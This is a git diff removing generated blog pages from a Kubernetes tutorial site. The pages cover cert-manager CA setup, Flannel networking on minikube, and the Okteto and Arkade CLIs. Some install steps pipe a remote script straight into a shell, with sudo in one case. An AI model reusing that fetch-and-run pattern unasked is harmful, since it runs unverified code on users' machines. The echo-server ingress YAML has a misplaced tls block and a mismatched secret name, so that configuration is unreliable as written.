- - - -

- Sangam Biradar | February 14, 2023 -

- -
-
-
- -
- - - - - -
- -

Start Minikube

-
minikube-certmanager git:(main) minikube start
-😄  minikube v1.30.0 on Darwin 13.3.1 (arm64)
-✨  Using the docker driver based on existing profile
-👍  Starting control plane node minikube in cluster minikube
-🚜  Pulling base image ...
-🏃  Updating the running docker "minikube" container ...
-❗  Image was not built for the current minikube version. To resolve this you can delete and recreate your minikube cluster using the latest images. Expected minikube version: v1.29.0 -> Actual minikube version: v1.30.0
-🐳  Preparing Kubernetes v1.26.3 on Docker 23.0.2 ...
-🔎  Verifying Kubernetes components...
-    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
-🌟  Enabled addons: storage-provisioner, default-storageclass
-🏄  Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default
-

add jetstack helm

-
➜  minikube-certmanager git:(main) helm repo add jetstack https://charts.jetstack.io  
-"jetstack" has been added to your repositories
-

update helm charts

-
➜  minikube-certmanager git:(main) helm repo update
-Hang tight while we grab the latest from your chart repositories...
-...Successfully got an update from the "jetstack" chart repository
-Update Complete. ⎈Happy Helming!⎈
-

Install cert-manger CRD on test namespace

-
➜  minikube-certmanager git:(main) helm install \
-    cert-manager jetstack/cert-manager \
-    --namespace test \
-    --create-namespace \
-    --version v1.11.1 \
-    --set installCRDs=true
-NAME: cert-manager
-LAST DEPLOYED: Fri Apr 14 12:35:31 2023
-NAMESPACE: test
-STATUS: deployed
-REVISION: 1
-TEST SUITE: None
-NOTES:
-cert-manager v1.11.1 has been deployed successfully!
-
-In order to begin issuing certificates, you will need to set up a ClusterIssuer
-or Issuer resource (for example, by creating a 'letsencrypt-staging' issuer).
-
-More information on the different types of issuers and how to configure them
-can be found in our documentation:
-
-https://cert-manager.io/docs/configuration/
-
-For information on how to configure cert-manager to automatically provision
-Certificates for Ingress resources, take a look at the `ingress-shim`
-documentation:
-
-https://cert-manager.io/docs/usage/ingress/
-

verify test namespace is active

-
➜  minikube-certmanager git:(main) kubectl get ns
-NAME              STATUS   AGE
-default           Active   16h
-kube-node-lease   Active   16h
-kube-public       Active   16h
-kube-system       Active   16h
-test              Active   4m31s
-

create self-signered certificate issuer

-

creating a self-signed certificate that our CA will use. To do so we will first need to create a self-signed certificate issuer.

-
apiVersion: cert-manager.io/v1
-kind: Issuer
-metadata:
-  name: selfsigned-issuer
-  namespace: test
-spec:
-  selfSigned: {}
-

kubectl apply cert manager ss issuer

-
minikube-certmanager git:(main) ✗ kubectl create -f cert-manager-ss-issuer.yaml
-issuer.cert-manager.io/selfsigned-issuer created
-

creat CA certificate

-
apiVersion: cert-manager.io/v1
-kind: Certificate
-metadata:
-  name: test-ca
-  namespace: test
-spec:
-  isCA: true
-  commonName: test-ca
-  subject:
-    organizations:
-    - ACME Inc.
-    organizationalUnits:
-    - Widgets
-  secretName: test-ca-secret
-  privateKey:
-    algorithm: ECDSA
-    size: 256
-  issuerRef:
-    name: selfsigned-issuer
-    kind: Issuer
-    group: cert-manager.io
-

kubectl apply cert-manager-ca-cert

-
➜  minikube-certmanager git:(main) ✗ kubectl create -f cert-manager-ca-cert.yaml
-certificate.cert-manager.io/test-ca created
-

checkt it out certificate

-
➜  minikube-certmanager git:(main) ✗ kubectl -n test get certificate
-NAME      READY   SECRET           AGE
-test-ca   True    test-ca-secret   4m15s
-

check it out secrets

-
➜  minikube-certmanager git:(main) ✗ kubectl -n test get secret test-ca-secret
-NAME             TYPE                DATA   AGE
-test-ca-secret   kubernetes.io/tls   3      5m1s
-

Excellent! This secret contains the ca.crt, tls.crt, and tls.key that belong to the CA itself.

-

create ca issuer

-

Now it’s time to create our CA issuer. Create a file called cert-manager-ca-issuer.yaml with the following:

-
apiVersion: cert-manager.io/v1
-kind: Issuer
-metadata:
-  name: test-ca-issuer
-  namespace: test
-spec:
-  ca:
-    secretName: test-ca-secret
-

apply ca issuer

-
➜  minikube-certmanager git:(main) ✗ kubectl create -f cer
-t-manager-ca-issuer.yaml 
-issuer.cert-manager.io/test-ca-issuer created
-

test ca cert

-
apiVersion: cert-manager.io/v1
-kind: Certificate
-metadata:
-  name: test-server
-  namespace: test
-spec:
-  secretName: test-server-tls
-  isCA: false
-  usages:
-  - server auth
-  - client auth
-  dnsNames:
-  - "test-server.test.svc.cluster.local"
-  - "test-server"
-  issuerRef:
-    name: test-ca-issuer
----
-apiVersion: cert-manager.io/v1
-kind: Certificate
-metadata:
-  name: test-client
-  namespace: test
-spec:
-  secretName: test-client-tls
-  isCA: false
-  usages:
-  - server auth
-  - client auth
-  dnsNames:
-  - "test-client.test.svc.cluster.local"
-  - "test-client"
-  issuerRef:
-    name: test-ca-issuer
-

test server cert

-
➜  minikube-certmanager git:(main) ✗ kubectl create -f test-server-cert.yaml
-certificate.cert-manager.io/test-server created
-certificate.cert-manager.io/test-client created
-

verify CA with Openssl

-
➜  minikube-certmanager git:(main) ✗ openssl verify -CAfile \
-<(kubectl -n test get secret test-ca-secret -o jsonpath='{.data.ca\.crt}' | base64 -d) \
-<(kubectl -n test get secret test-server-tls -o jsonpath='{.data.tls\.crt}' | base64 -d)
-/dev/fd/16: OK
-/dev/fd/13: OK
-

start openssl server get secrets tls

-

-minikube-certmanager git:(main) ✗ echo Hello World! > test.txt
-minikube-certmanager git:(main) ✗ openssl s_server \
-  -cert <(kubectl -n test get secret test-server-tls -o jsonpath='{.data.tls\.crt}' | base64 -d) \
-  -key <(kubectl -n test get secret test-server-tls -o jsonpath='{.data.tls\.key}' | base64 -d) \
-  -CAfile <(kubectl -n test get secret test-server-tls -o jsonpath='{.data.ca\.crt}' | base64 -d) \
-  -WWW -port 12345  \
-  -verify_return_error -Verify 1
-verify depth is 1, must return a certificate
-Using auto DH parameters
-ACCEPT
-

verify certificate working

-
 ➜  minikube-certmanager git:(main) ✗ echo -e 'GET /test.txt HTTP/1.1\r\n\r\n' | \
-  openssl s_client \
-  -cert <(kubectl -n test get secret test-client-tls -o jsonpath='{.data.tls\.crt}' | base64 -d) \
-  -key <(kubectl -n test get secret test-client-tls -o jsonpath='{.data.tls\.key}' | base64 -d) \
-  -CAfile <(kubectl -n test get secret test-client-tls -o jsonpath='{.data.ca\.crt}' | base64 -d) \
-  -connect localhost:12345 -quiet
-depth=1 O = ACME Inc., OU = Widgets, CN = test-ca
-verify return:1
-depth=0 
-verify return:1
-HTTP/1.0 200 ok
-Content-type: text/plain
-
-Hello World!
-

enable ingress on minikube

-
➜  minikube-certmanager git:(main) ✗ minikube addons enable ingress
-💡  ingress is an addon maintained by Kubernetes. For any concerns contact minikube on GitHub.
-You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS
-💡  After the addon is enabled, please run "minikube tunnel" and your ingress resources would be available at "127.0.0.1"
-    ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794
-    ▪ Using image registry.k8s.io/ingress-nginx/controller:v1.7.0
-    ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794
-🔎  Verifying ingress addon...
-🌟  The 'ingress' addon is enabled
-

Echo Server Setup with CA Signed Certificate

-
apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: echo
-  name: echo
-  namespace: test
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: echo
-  template:
-    metadata:
-      labels:
-        app: echo
-    spec:
-      containers:
-      - name: echo
-        image: fdeantoni/echo-server
-        imagePullPolicy: Always
-        ports:
-        - containerPort: 9000
-        readinessProbe:
-          httpGet:
-            path: /
-            port: 9000
-          initialDelaySeconds: 5
-          periodSeconds: 5
-          successThreshold: 1
----
-apiVersion: v1
-kind: Service
-metadata:
-  name: echo-service
-  namespace: test
-spec:
-  selector:
-    app: echo
-  ports:
-  - name: http
-    protocol: TCP
-    port: 9000
-    targetPort: 9000
----
-apiVersion: networking.k8s.io/v1
-kind: Ingress
-metadata:
-  name: echo-ingress
-  namespace: test
-  annotations:
-    cert-manager.io/issuer: test-ca-issuer
-spec:
-  rules:
-  - http:
-      paths:
-      - path: /test
-        pathType: Prefix
-        backend:
-          service:
-            name: echo-service
-            port:
-              number: 9000
-tls:
-- hosts:
-  - echo.info
-  secretName: echo-cert
-

deploy echo service

-
➜  minikube-certmanager git:(main) ✗ kubectl create -f echo-server.yaml
-deployment.apps/echo created
-service/echo-service created
-

start minikube tunnel

-
➜  minikube-certmanager git:(main) ✗ minikube tunnel
-✅  Tunnel successfully started
-
-📌  NOTE: Please do not close this terminal as this process must stay alive for the tunnel to be accessible ...
-

echo service works with our CA signed certificate.

-
➜  minikube-certmanager git:(main) ✗ curl --cacert <(kubectl -n test get secret echo-server-cert -o jsonpath='{.data.ca\.crt}' | base64 -d) https://echo.info/test
-"source":"172.17.0.7:42246","method":"GET","headers":[["host","echo.info"],["x-request-id","6e0035387cfa6be8c53a3e03e73e9f23"],["x-real-ip","172.17.0.1"],["x-forwarded-for","172.17.0.1"],["x-forwarded-host","echo.info"],["x-forwarded-port","443"],["x-forwarded-proto","https"],["x-forwarded-scheme","https"],["x-scheme","https"],["user-agent","curl/7.79.1"],["accept","*/*"]],"path":"/test","server":"echo-6885c7cfdc-8phts"}
-

source code

- - -
-
- -

Join CloudNativeFolks Community or Reach out to me on twitter @sangamtwts

- -
- - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/blog/flannel/VXLAN_Packet.png b/public/blog/flannel/VXLAN_Packet.png deleted file mode 100644 index d816c10..0000000 Binary files a/public/blog/flannel/VXLAN_Packet.png and /dev/null differ diff --git a/public/blog/flannel/busybox1.yaml b/public/blog/flannel/busybox1.yaml deleted file mode 100644 index 42b8b71..0000000 --- a/public/blog/flannel/busybox1.yaml +++ /dev/null @@ -1,11 +0,0 @@ -apiVersion: v1 -kind: Pod -metadata: - name: busybox1 - labels: - tier: linux -spec: - containers: - - name: busybox1 - image: busybox - command: ['sh', '-c', ' sleep 3600'] diff --git a/public/blog/flannel/busybox2.yaml b/public/blog/flannel/busybox2.yaml deleted file mode 100644 index ed83965..0000000 --- a/public/blog/flannel/busybox2.yaml +++ /dev/null @@ -1,11 +0,0 @@ -apiVersion: v1 -kind: Pod -metadata: - name: busybox2 - labels: - tier: linux -spec: - containers: - - name: busybox2 - image: busybox - command: ['sh', '-c', ' sleep 3600'] diff --git a/public/blog/flannel/busybox3.yaml b/public/blog/flannel/busybox3.yaml deleted file mode 100644 index 0cae656..0000000 --- a/public/blog/flannel/busybox3.yaml +++ /dev/null @@ -1,12 +0,0 @@ -apiVersion: v1 -kind: Pod -metadata: - name: busybox3 - labels: - tier: linux -spec: - nodeName: minikube - containers: - - name: busybox3 - image: busybox - command: ['sh', '-c', ' sleep 3600'] diff --git a/public/blog/flannel/flannel.png b/public/blog/flannel/flannel.png deleted file mode 100644 index 481fb61..0000000 Binary files a/public/blog/flannel/flannel.png and /dev/null differ diff --git a/public/blog/flannel/index.html b/public/blog/flannel/index.html deleted file mode 100644 index 0111ee3..0000000 --- a/public/blog/flannel/index.html +++ /dev/null @@ -1,458 +0,0 @@ - - - - - - - - -Flannel is a network fabric for containers, designed for Kubernetes. · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-

Flannel is a network fabric for containers, designed for Kubernetes.

-
- -
-
-
-
-

- Flannel is a network fabric for containers, designed for Kubernetes. -

-
- - - -

- Sangam Biradar | February 17, 2023 -

- -
-
-
- -
- - - - -
-
- -

kubenetes networking

-

-

Networking details

-
    -
  • -

    Platforms like Kubernetes assume that each container (pod) has a unique, routable IP inside the cluster. The advantage of this model is that it removes the port mapping complexities that come from sharing a single host IP.

    -
  • -
  • -

    Flannel is responsible for providing a layer 3 IPv4 network between multiple nodes in a cluster. Flannel does not control how containers are networked to the host, only how the traffic is transported between hosts. However, flannel does provide a CNI plugin for Kubernetes and a guidance on integrating with Docker. Flannel is focused on networking

    -
  • -
  • -

    Flannel is a network overlay for Kubernetes. It provides a way for pods to communicate with each other even if they are not on the same host. Flannel is a simple and lightweight network overlay that is easy to install and configure.

    -
  • -
  • -

    Flannel works by creating a virtual network on top of the physical network. This virtual network is made up of tunnels that connect the pods. The tunnels are created using the VXLAN protocol.

    -
  • -
  • -

    When a pod sends a packet to another pod, the packet is encapsulated in a VXLAN header and sent to the tunnel that connects the two pods. The tunnel then decapsulates the packet and sends it to the destination pod.

    -
  • -
  • -

    Flannel is a layer 3 network, which means that it supports routing between pods. This is in contrast to some other network overlays, such as Docker Swarm, which are layer 2 networks.

    -
  • -
  • -

    Flannel does not control how containers are networked to the host. This is the responsibility of the host’s operating system. Flannel only controls how traffic is transported between hosts.

    -
  • -
  • -

    Flannel provides a CNI plugin for Kubernetes. This plugin makes it easy to install and configure Flannel with Kubernetes. Flannel also provides guidance on integrating with Docker.

    -
  • -
-

Here are some of the benefits of using Flannel:

-
    -
  • It is a simple and lightweight network overlay.
  • -
  • It is easy to install and configure.
  • -
  • It does not require any additional infrastructure.
  • -
  • It is a good choice for small and medium-sized Kubernetes clusters.
  • -
  • It supports routing between pods.
  • -
  • It is compatible with Kubernetes and Docker.
  • -
-

Flannel Overlay Network

-

To achieve kubernetes’ network requirements, flannel’s idea is simple: create another flat network which runs above the host network, this is the so-called overlay network. All containers(Pod) will be assigned one ip address in this overlay network, they communicate with each other by calling each other’s ip address directly.

-

-

minikube start

-
  ~ minikube start 
-😄  minikube v1.30.1 on Darwin 13.3.1 (arm64)
-✨  Using the docker driver based on existing profile
-👍  Starting control plane node minikube in cluster minikube
-🚜  Pulling base image ...
-🔄  Restarting existing docker container for "minikube" ...
-❗  Image was not built for the current minikube version. To resolve this you can delete and recreate your minikube cluster using the latest images. Expected minikube version: v1.29.0 -> Actual minikube version: v1.30.1
-🐳  Preparing Kubernetes v1.26.3 on Docker 23.0.2 ...
-🔗  Configuring bridge CNI (Container Networking Interface) ...
-🔎  Verifying Kubernetes components...
-    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
-💡  After the addon is enabled, please run "minikube tunnel" and your ingress resources would be available at "127.0.0.1"
-    ▪ Using image registry.k8s.io/ingress-nginx/controller:v1.7.0
-    ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794
-    ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794
-🔎  Verifying ingress addon...
-🌟  Enabled addons: storage-provisioner, default-storageclass, ingress
-🏄  Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default
-

Install Flannel on Minikube

-
  ~ kubectl apply -f https://github.com/flannel-io/flannel/releases/latest/download/kube-flannel.yml
-namespace/kube-flannel created
-serviceaccount/flannel created
-clusterrole.rbac.authorization.k8s.io/flannel created
-clusterrolebinding.rbac.authorization.k8s.io/flannel created
-configmap/kube-flannel-cfg created
-daemonset.apps/kube-flannel-ds created
-

Minikube provide option to select CNI Plugins

-
--cni='':
-        CNI plug-in to use. Valid options: auto, bridge, calico, cilium, flannel, kindnet, or path
-        to a CNI manifest (default: auto)
-
    -
  • while starting minikube define cni flag
  • -
-
 minikube start --cni=flannel
-😄  minikube v1.30.1 on Darwin 13.3.1 (arm64)
-✨  Automatically selected the docker driver. Other choices: qemu2, virtualbox, ssh
-📌  Using Docker Desktop driver with root privileges
-👍  Starting control plane node minikube in cluster minikube
-🚜  Pulling base image ...
-    > gcr.io/k8s-minikube/kicbase...:  336.39 MiB / 336.39 MiB  100.00% 4.83 Mi
-🔥  Creating docker container (CPUs=4, Memory=8192MB) ...
-🐳  Preparing Kubernetes v1.26.3 on Docker 23.0.2 ...
-    ▪ Generating certificates and keys ...
-    ▪ Booting up control plane ...
-    ▪ Configuring RBAC rules ...
-🔗  Configuring Flannel (Container Networking Interface) ...
-    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
-🔎  Verifying Kubernetes components...
-🌟  Enabled addons: storage-provisioner, default-storageclass
-🏄  Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default    
-

add another working node

-
➜  sangam14.github.io git:(main) ✗ minikube node add   
-😄  Adding node m02 to cluster minikube
-❗  Cluster was created without any CNI, adding a node to it might cause broken networking.
-👍  Starting worker node minikube-m02 in cluster minikube
-🚜  Pulling base image ...
-🔥  Creating docker container (CPUs=4, Memory=8192MB) ...
-🐳  Preparing Kubernetes v1.26.3 on Docker 23.0.2 ...
-🔎  Verifying Kubernetes components...
-🏄  Successfully added m02 to minikube!
-

Minikube Node list

-
 ~ minikube node list
-minikube	192.168.49.2
-minikube-m02	192.168.49.3
-

Minikube create namespace kube-flannel

-
kubectl get pods -n kube-flannel 
-NAME                    READY   STATUS    RESTARTS   AGE
-kube-flannel-ds-48tbz   1/1     Running   0          21m
-kube-flannel-ds-ltg88   1/1     Running   0          8m52s
-

create 2 busybox pod

-
kubectl create -f busybox1.yaml
-kubectl create -f busybox2.yaml
-

get pods

-
flannel git:(main) ✗ kubectl get pods
-NAME       READY   STATUS    RESTARTS   AGE
-busybox1   1/1     Running   0          31s
-busybox2   1/1     Running   0          45s
-

get more details around this pods

-
kubectl get pods -o wide
-

The subnet of eth0 should match the CNI subnet

-
flannel git:(main) ✗ kubectl exec --stdin --tty busybox1 -- ifconfig
-eth0      Link encap:Ethernet  HWaddr 52:3B:44:60:37:EB  
-          inet addr:10.244.1.3  Bcast:10.244.1.255  Mask:255.255.255.0
-          UP BROADCAST RUNNING MULTICAST  MTU:65485  Metric:1
-          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
-          TX packets:1 errors:0 dropped:0 overruns:0 carrier:0
-          collisions:0 txqueuelen:0 
-          RX bytes:0 (0.0 B)  TX bytes:42 (42.0 B)
-
-lo        Link encap:Local Loopback  
-          inet addr:127.0.0.1  Mask:255.0.0.0
-          UP LOOPBACK RUNNING  MTU:65536  Metric:1
-          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
-          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
-          collisions:0 txqueuelen:1000 
-          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
-
-➜  flannel git:(main) ✗ kubectl exec --stdin --tty busybox2 -- ifconfig
-eth0      Link encap:Ethernet  HWaddr 5E:FA:9B:2F:A1:69  
-          inet addr:10.244.1.2  Bcast:10.244.1.255  Mask:255.255.255.0
-          UP BROADCAST RUNNING MULTICAST  MTU:65485  Metric:1
-          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
-          TX packets:1 errors:0 dropped:0 overruns:0 carrier:0
-          collisions:0 txqueuelen:0 
-          RX bytes:0 (0.0 B)  TX bytes:42 (42.0 B)
-
-lo        Link encap:Local Loopback  
-          inet addr:127.0.0.1  Mask:255.0.0.0
-          UP LOOPBACK RUNNING  MTU:65536  Metric:1
-          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
-          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
-          collisions:0 txqueuelen:1000 
-          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
-

We should be able to ping between PoDs.

-
 flannel git:(main) ✗ kubectl exec --stdin --tty busybox1 -- ping 10.244.1.2
-PING 10.244.1.2 (10.244.1.2): 56 data bytes
-64 bytes from 10.244.1.2: seq=0 ttl=64 time=0.326 ms
-64 bytes from 10.244.1.2: seq=1 ttl=64 time=0.086 ms
-64 bytes from 10.244.1.2: seq=2 ttl=64 time=0.097 ms
-64 bytes from 10.244.1.2: seq=3 ttl=64 time=0.106 ms
-64 bytes from 10.244.1.2: seq=4 ttl=64 time=0.103 ms
-64 bytes from 10.244.1.2: seq=5 ttl=64 time=0.071 ms
-^C
-

PoDs in the host network of a node can communicate with all pods on all nodes without NAT

-
➜  flannel git:(main) ✗ kubectl create -f busybox3.yaml
-pod/busybox3 created
-➜  flannel git:(main) ✗ kubectl get pods -o wide
-NAME       READY   STATUS    RESTARTS      AGE   IP           NODE           NOMINATED NODE   READINESS GATES
-busybox1   1/1     Running   5 (11m ago)   23h   10.244.1.3   minikube-m02   <none>           <none>
-busybox2   1/1     Running   5 (12m ago)   23h   10.244.1.2   minikube-m02   <none>           <none>
-busybox3   1/1     Running   0             20s   10.244.0.3   minikube       <none>           <none>
-

Now starting a ping from this new PoD busybox 3 (in minikube node ) to busybox1 (in minikube-m02 ).

-
 flannel git:(main) ✗ kubectl exec --stdin --tty busybox3 -- ping 10.244.1.3
-PING 10.244.1.3 (10.244.1.3): 56 data bytes
-64 bytes from 10.244.1.3: seq=0 ttl=62 time=0.703 ms
-64 bytes from 10.244.1.3: seq=1 ttl=62 time=0.198 ms
-64 bytes from 10.244.1.3: seq=2 ttl=62 time=0.169 ms
-64 bytes from 10.244.1.3: seq=3 ttl=62 time=0.159 ms
-64 bytes from 10.244.1.3: seq=4 ttl=62 time=0.160 ms
-64 bytes from 10.244.1.3: seq=5 ttl=62 time=0.125 ms
-64 bytes from 10.244.1.3: seq=6 ttl=62 time=0.156 ms
-64 bytes from 10.244.1.3: seq=7 ttl=62 time=0.179 ms
-^C
-

This works as expected. This is possible due to VxLAN implementation in flannel. -The VxLAN header is 8 bytes long and has the following format:

-

24-bit VNID (Virtual Network Identifier): This field identifies the VxLAN network that the packet belongs to. -8-bit Flags: This field contains a few flags that control how the packet is processed. -24-bit Reserved: This field is reserved for future use. -20-byte Outer IP Header: This field contains the IP header of the encapsulated packet. -The VxLAN header is encapsulated in a UDP packet, which is then sent over the L3 routed infrastructure. The destination UDP port for VxLAN packets is 4789.

-

When a VxLAN packet arrives at a VTEP, the VTEP decapsulates the packet and forwards the encapsulated packet to the destination host.

-

VxLAN is a popular network virtualization technology that is used to create overlay networks over L3 routed infrastructures. VxLAN is a good choice for network virtualization because it is scalable, efficient, and easy to manage.

-

-

Join CloudNativeFolks Community or Reach out to me on twitter @sangamtwts

- -
- - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/blog/flannel/k8s-CNI-1.png b/public/blog/flannel/k8s-CNI-1.png deleted file mode 100644 index 4657a3c..0000000 Binary files a/public/blog/flannel/k8s-CNI-1.png and /dev/null differ diff --git a/public/blog/flannel/k8s-CNI-2.png b/public/blog/flannel/k8s-CNI-2.png deleted file mode 100644 index 3454137..0000000 Binary files a/public/blog/flannel/k8s-CNI-2.png and /dev/null differ diff --git a/public/blog/index.html b/public/blog/index.html deleted file mode 100644 index fb6b5eb..0000000 --- a/public/blog/index.html +++ /dev/null @@ -1,271 +0,0 @@ - - - - - - - - -blog · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- -
-
-

Flannel is a network fabric for containers, designed for Kubernetes.

- Read More -
-
- -
-
-

Arkade Open Source Marketplace for Kubernetes

- Read More -
-
- -
-
-

CertManager - Automatically provision and manage TLS certificates in Kubernetes

- Read More -
-
- -
-
-

Okteto Develop your applications directly in your Kubernetes Cluster

- Read More -
-
- -
-
-

Werf A solution for implementing efficient and consistent software

- Read More -
-
- -
- - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/blog/index.xml b/public/blog/index.xml deleted file mode 100644 index 2533d04..0000000 --- a/public/blog/index.xml +++ /dev/null @@ -1,47 +0,0 @@ - - - - blog on kubedaily - https://kubedaily.com/blog/ - Recent content in blog on kubedaily - Hugo -- gohugo.io - en - - - Flannel is a network fabric for containers, designed for Kubernetes. - https://kubedaily.com/blog/flannel/ - Fri, 17 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/flannel/ - kubenetes networking Networking details Platforms like Kubernetes assume that each container (pod) has a unique, routable IP inside the cluster. The advantage of this model is that it removes the port mapping complexities that come from sharing a single host IP. -Flannel is responsible for providing a layer 3 IPv4 network between multiple nodes in a cluster. Flannel does not control how containers are networked to the host, only how the traffic is transported between hosts. - - - Arkade Open Source Marketplace for Kubernetes - https://kubedaily.com/blog/arkade-open-source-marketplace-for-kubernetes/ - Mon, 13 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/arkade-open-source-marketplace-for-kubernetes/ - Getting started with Arkade CLI Macos/Linux ~ curl -sLS https://get.arkade.dev | sudo sh Password: Downloading package https://github.com/alexellis/arkade/releases/download/0.9.7/arkade-darwin-arm64 as /tmp/arkade-darwin-arm64 Download complete. Running with sufficient permissions to attempt to move arkade to /usr/local/bin New version of arkade installed to /usr/local/bin Creating alias &#39;ark&#39; for &#39;arkade&#39;. _ _ __ _ _ __| | ____ _ __| | ___ / _` | &#39;__| |/ / _` |/ _` |/ _ \ | (_| | | | &lt; (_| | (_| | __/ \__,_|_| |_|\_\__,_|\__,_|\___| Open Source Marketplace For Developer Tools Version: 0. - - - CertManager - Automatically provision and manage TLS certificates in Kubernetes - https://kubedaily.com/blog/certmanager/ - Tue, 14 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/certmanager/ - Start Minikube minikube-certmanager git:(main) minikube start 😄 minikube v1.30.0 on Darwin 13.3.1 (arm64) ✨ Using the docker driver based on existing profile 👍 Starting control plane node minikube in cluster minikube 🚜 Pulling base image ... 🏃 Updating the running docker &#34;minikube&#34; container ... ❗ Image was not built for the current minikube version. To resolve this you can delete and recreate your minikube cluster using the latest images. Expected minikube version: v1. - - - Okteto Develop your applications directly in your Kubernetes Cluster - https://kubedaily.com/blog/okteto/ - Sat, 18 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/okteto/ - Getting started with Oketo CLI Macos/Linux ➜ curl https://get.okteto.com -sSfL | sh &gt; Using Release Channel: stable &gt; Using Version: 2.14.0 &gt; Downloading https://downloads.okteto.com/cli/stable/2.14.0/okteto-Darwin-arm64 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 74.8M 100 74.8M 0 0 20.0M 0 0:00:03 0:00:03 --:--:-- 20.0M Login into Okteto Cloud via Github Account Configuring Okteto CLI with Okteto Cloud ➜ okteto context A context defines the default cluster/namespace for any Okteto CLI command. - - - Werf A solution for implementing efficient and consistent software - https://kubedaily.com/blog/werf/ - Sun, 19 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/werf/ - Install Werf ➜ ~ curl -sSLO https://werf.io/install.sh &amp;&amp; chmod +x install.sh ➜ ~ ./install.sh --version 1.2 --channel stable [INPUT REQUIRED] Current login shell is &#34;zsh&#34;. Press ENTER to setup werf for this shell or choose another one. [b]ash/[z]sh/[a]bort? Default: zsh. z [INPUT REQUIRED] trdl is going to be installed in &#34;/Users/sangambiradar/bin/&#34;. Add this directory to your $PATH in &#34;/Users/sangambiradar/.zshrc&#34; and &#34;/Users/sangambiradar/.zprofile&#34;? (strongly recommended) [y]es/[a]bort/[s]kip? Default: yes. yes [INFO] Installing trdl to &#34;/Users/sangambiradar/bin/&#34;. - - - diff --git a/public/blog/okteto/2048-k8s.png b/public/blog/okteto/2048-k8s.png deleted file mode 100644 index 22a7144..0000000 Binary files a/public/blog/okteto/2048-k8s.png and /dev/null differ diff --git a/public/blog/okteto/index.html b/public/blog/okteto/index.html deleted file mode 100644 index 6aa7fbc..0000000 --- a/public/blog/okteto/index.html +++ /dev/null @@ -1,595 +0,0 @@ - - - - - - - - -Okteto Develop your applications directly in your Kubernetes Cluster · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-

Okteto Develop your applications directly in your Kubernetes Cluster

-
- -
-
-
-
-

- Okteto Develop your applications directly in your Kubernetes Cluster -

-
- - - -

- Sangam Biradar | February 18, 2023 -

- -
-
-
- -
- - - - -
- -

Getting started with Oketo CLI

-
    -
  • Macos/Linux
  • -
-

-➜ curl https://get.okteto.com -sSfL | sh
-> Using Release Channel: stable
-> Using Version: 2.14.0
-> Downloading https://downloads.okteto.com/cli/stable/2.14.0/okteto-Darwin-arm64
-  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
-                                 Dload  Upload   Total   Spent    Left  Speed
-100 74.8M  100 74.8M    0     0  20.0M      0  0:00:03  0:00:03 --:--:-- 20.0M
-

Login into Okteto Cloud via Github Account

-

-

Configuring Okteto CLI with Okteto Cloud

-

-➜   okteto context
-A context defines the default cluster/namespace for any Okteto CLI command.
-Select the context you want to use:
-Use the arrow keys to navigate: ↓ ↑ → ← 
-  ▸ https://cloud.okteto.com (Okteto Cloud) *
-    docker-desktop
-    minikube
-    multinode-pod-security
-    
-    Create new context
-

Or use directly

-
➜ okteto context use https://cloud.okteto.com
- ✓  Using sangam14 @ cloud.okteto.com
-

2048 folder contain source code for 2048

-
FROM nginx
-
-COPY 2048 /usr/share/nginx/html
-
-EXPOSE 80
-
-CMD ["nginx", "-g", "daemon off;"]
-
services:
- game:
-    build: ./
-    expose:
-      - 8080:80
-

Deploy Docker Compose on Okteto Cloud

-

okteto use compose-spec also its convert docker compose to kubernetes Manifest

-

here is more about docker compose on okteto (https://www.okteto.com/docs/reference/compose/)

-
okteto deploy --build 
- i  Using sangam14 @ cloud.okteto.com as context
- i  Building 'Dockerfile' in tcp://buildkit.cloud.okteto.net:443...
-[+] Building 7.8s (7/7) FINISHED                                                                                          
- => [internal] load build definition from buildkit-3366967893                                                        0.9s
- => => transferring dockerfile: 137B                                                                                 0.8s
- => [internal] load .dockerignore                                                                                    0.7s
- => => transferring context: 2B                                                                                      0.6s
- => [internal] load metadata for docker.io/library/nginx:latest                                                      1.1s
- => [internal] load build context                                                                                    2.5s
- => => transferring context: 603.29kB                                                                                2.5s
- => CACHED [1/2] FROM docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19  0.0s
- => => resolve docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19c0       0.0s
